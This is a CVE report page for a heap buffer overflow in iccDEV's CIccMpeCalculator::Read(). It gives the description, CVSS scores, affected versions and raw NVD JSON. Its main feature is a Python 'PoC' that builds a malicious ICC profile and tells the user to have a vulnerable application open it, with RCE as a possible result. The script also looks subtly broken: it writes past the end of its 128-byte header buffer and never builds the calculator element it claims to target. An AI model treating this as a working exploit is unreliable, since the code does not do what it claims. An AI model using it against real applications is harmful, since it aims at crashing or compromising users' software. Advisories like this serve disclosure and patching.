Security Vulnerability Report
中文
CVE-2026-24405 CVSS 8.8 HIGH

CVE-2026-24405

Published: 2026-01-24 01:15:51
Last Modified: 2026-01-30 18:24:30

Description

iccDEV provides libraries and tools for interacting with, manipulating, and applying ICC color management profiles. Versions 2.3.1.1 and below have a Heap Buffer Overflow vulnerability in CIccMpeCalculator::Read(). This occurs when user-controllable input is unsafely incorporated into ICC profile data or other structured binary blobs. Successful exploitation may allow an attacker to perform DoS, manipulate data, bypass application logic and Code Execution. This issue has been fixed in version 2.3.1.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV 2.3.1.1及以下版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-24405 PoC - iccDEV CIccMpeCalculator::Read() Heap Buffer Overflow This PoC generates a malicious ICC profile that triggers heap buffer overflow in CIccMpeCalculator::Read() function. """ import struct import os def create_malicious_icc_profile(): """ Create a malicious ICC profile that triggers heap buffer overflow in CIccMpeCalculator::Read() function. """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size (will be updated) profile_size = 0x1000 # 4KB struct.pack_into('>I', header, 0, profile_size) # Preferred CMM type header[4:8] = b'lcms' # Profile version header[8:12] = struct.pack('>I', 0x04000000) # Profile/device class header[12:16] = b'mntr' # Display device # Color space header[16:20] = b'RGB ' # PCS header[20:24] = b'Lab ' # Creation date/time struct.pack_into('>I', header, 24, 0xD7B94F00) # Profile file signature header[36:40] = b'acsp' # Primary platform header[40:44] = b'MSFT' # Tag signature count tag_count = 1 struct.pack_into('>I', header, 124, tag_count) # Calculate tag table offset tag_table_offset = 128 struct.pack_into('>I', header, 128, tag_table_offset) # Tag table tag_type = b'mpe ' # Multi-process element tag tag_offset = 128 + tag_count * 12 tag_size = 0x800 # Oversized to trigger overflow tag_table = bytearray() tag_table += tag_type tag_table += struct.pack('>I', tag_offset) tag_table += struct.pack('>I', tag_size) # Malicious MPE data - crafted to trigger overflow mpe_data = bytearray(tag_size) # MPE header struct.pack_into('>I', mpe_data, 0, 0x6D706520) # 'mpe ' struct.pack_into('>I', mpe_data, 4, tag_size) # MPE size # Fill with pattern to make overflow detectable for i in range(8, tag_size, 4): struct.pack_into('>I', mpe_data, i, 0x41414141) # Combine all parts profile = header + tag_table + mpe_data # Update profile size struct.pack_into('>I', profile, 0, len(profile)) return bytes(profile) def main(): print("[*] CVE-2026-24405 PoC Generator") print("[*] Target: iccDEV <= 2.3.1.1") print("[*] Vulnerability: Heap Buffer Overflow in CIccMpeCalculator::Read()") # Generate malicious ICC profile malicious_profile = create_malicious_icc_profile() # Save to file output_file = "CVE-2026-24405_malicious.icc" with open(output_file, 'wb') as f: f.write(malicious_profile) print(f"[+] Malicious ICC profile created: {output_file}") print(f"[+] File size: {len(malicious_profile)} bytes") print("\n[*] Usage: Have a vulnerable application open this ICC profile") print("[*] Expected result: Heap buffer overflow, potential crash or RCE") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24405", "sourceIdentifier": "[email protected]", "published": "2026-01-24T01:15:50.923", "lastModified": "2026-01-30T18:24:30.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides libraries and tools for interacting with, manipulating, and applying ICC color management profiles. Versions 2.3.1.1 and below have a Heap Buffer Overflow vulnerability in CIccMpeCalculator::Read(). This occurs when user-controllable input is unsafely incorporated into ICC profile data or other structured binary blobs. Successful exploitation may allow an attacker to perform DoS, manipulate data, bypass application logic and Code Execution. This issue has been fixed in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona librerías y herramientas para interactuar con, manipular y aplicar perfiles de gestión de color ICC. Las versiones 2.3.1.1 e inferiores tienen una vulnerabilidad de desbordamiento de búfer de montón en CIccMpeCalculator::Read(). Esto ocurre cuando la entrada controlable por el usuario se incorpora de forma insegura en datos de perfil ICC u otros blobs binarios estructurados. La explotación exitosa puede permitir a un atacante realizar DoS, manipular datos, eludir la lógica de la aplicación y la ejecución de código. Este problema ha sido corregido en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/d22fc174866e2521f8a5f9393fab5be306329f62", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/479", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-2r5c-5w66-47vv", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}